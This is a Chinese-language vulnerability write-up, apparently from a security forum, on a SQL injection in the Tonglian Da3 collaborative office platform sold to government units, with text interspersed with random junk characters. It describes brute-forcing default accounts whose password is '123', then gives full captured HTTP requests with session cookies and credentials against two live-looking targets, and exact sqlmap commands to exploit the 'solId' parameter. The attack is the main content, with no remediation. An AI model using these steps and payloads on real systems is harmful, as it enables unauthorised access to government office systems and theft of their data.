同联Da3协同办公平台前台通用sql injection漏洞

admin

' z" S% a& y( V; J* e3 J
' V0 G* A- G& u0 ~* ?

# E& `- F; m, A# Q7 h9 X2 _% e* l

$ J; O3 q" F! P, `" e6 ~ 平台简介：

. |1 d' t3 |" E

1 U: i- A* C u  

6 f F# J8 g0 a& d: [/ b6 I! C" O 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ - h) b! U F3 }$ r& \

; H3 g T8 Z1 U) R6 ^   : I$ m9 z0 I0 f/ m3 H

3 ^8 m+ }$ F- C% j+ I! ~

- b# G0 m: x! [7 Y 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

9 A1 Z3 _, J4 _1 S

  ( m1 \( ?$ x! _

& a/ F: B' l) M2 [5 _6 J

$ \6 L+ v F/ F4 v9 Q; b% k1 Q2 } http://1.1.1.1:7197/cap-aco/#（案例2-） , `. {/ c) ]1 n- Q9 L$ z

. H M. `! r- r. b http://www.XXOO.com （案例1-官网网站）

" `- R1 Q/ B0 [' P! A

( X) N+ Z5 W, P" @! {- g3 S   2 N p+ n% ?8 [6 I k% k

$ w- v. a" L& x+ r! `; q 漏洞详情:

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： # m$ p# }0 b; q

. W+ x. _& [1 i; }! o; P5 x

  2 h+ a: v5 O$ m* W4 ]

  3 r/ ^* g8 z0 [) f) M9 |7 Y" k0 q

& ^/ v2 Q) [) `$ e

# X; g5 C& K- [3 x' Z status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

1、案例1-官方网站 # Y6 N- [4 g2 U4 D. V6 x2 P- Y

e K; P! ^7 ?2 t GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

+ D9 ]% w: k* \( h, S3 h

Host: www.XXOO.com , M) Z8 I9 L3 i$ O- S* Z5 X

0 |) v& n% H6 ^4 u9 g6 r |

Proxy-Connection: Keep-Alive 5 Z- B7 I, a% `

" e( {* H* z0 b2 D8 [" j

Accept: application/json, text/javascript, */*; q=0.01 ' G0 p9 G/ X2 G" S" ~# E/ Q% @

9 t! ]% }9 M. X) O4 v" l4 ?

Accept-Language: zh-CN ! p# \+ p8 X7 L W/ z

. a& ?% ], S+ d( ` K2 _0 x Content-Type: application/json

+ t0 x8 J. s R H+ G+ a( r User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko 0 j- r1 r: W3 V; ^+ _3 w& x4 Q s/ w

X-Requested-With: XMLHttpRequest

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

' t1 l5 f4 Y I8 W2 ?9 A0 T5 _$ k9 w/ P

: I# ]/ \' E/ E' |$ B, l$ U6 T Accept-Encoding: gzip, deflate, sdch

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

. F+ o4 R% `3 y

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: + \! H+ U- E8 `, A' k( i0 c

  5 I/ Z7 b; r' l

 

0 A$ a, p1 ^& s; t2 e4 F

  # {& x5 E6 h$ T( N6 _4 e$ }1 ?

 

- m6 h! a- p6 U" C5 S

  % D6 e; X- y! F9 ^# I8 l0 N7 T

3 z u# ^4 w. r4 b 2、案例2-某天河云平台

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

2 D$ d4 U- m, s Host: 1.1.1.:7197 + } [# ~5 V# N _) W

2 q8 ]- W$ R5 E3 v, K

1 Z U0 o9 ~0 n! Z2 p' X Accept: application/json, text/javascript, */*; q=0.01 ' u# s) l; R2 \; e

9 _2 U- k1 \$ G6 O. L X-Requested-With: XMLHttpRequest 6 C: R$ F1 D6 O0 F3 m8 f% f5 W

4 b3 Q) ~( ?8 n; f6 V

$ i3 u3 R; O1 t. {0 W4 g User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

& S& k7 X8 X* W6 T+ L! Y Content-Type: application/json ; P- z2 R* ]- J6 i! z9 P

3 V `' R- L: i! l r

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 / h+ Q+ h7 E6 z! c$ G" L* z

0 g' T8 k `( W3 E

Accept-Language: zh-CN,zh;q=0.8

8 [! c! V" g' h# m

" V5 Y% R7 p! d6 |8 j/ g+ a Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 0 F9 W/ p2 l8 Y: K1 N0 K

1 A: A; W/ I- K4 g

9 S" p! \2 C; m+ c Connection: close " l A2 B; R* B& W

3 d5 S, R8 `( v& l% M+ o8 N

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: ; K. ?4 u1 s8 m+ s9 s

 

* y+ X% r: K9 P
5 i- P8 f1 p5 B4 F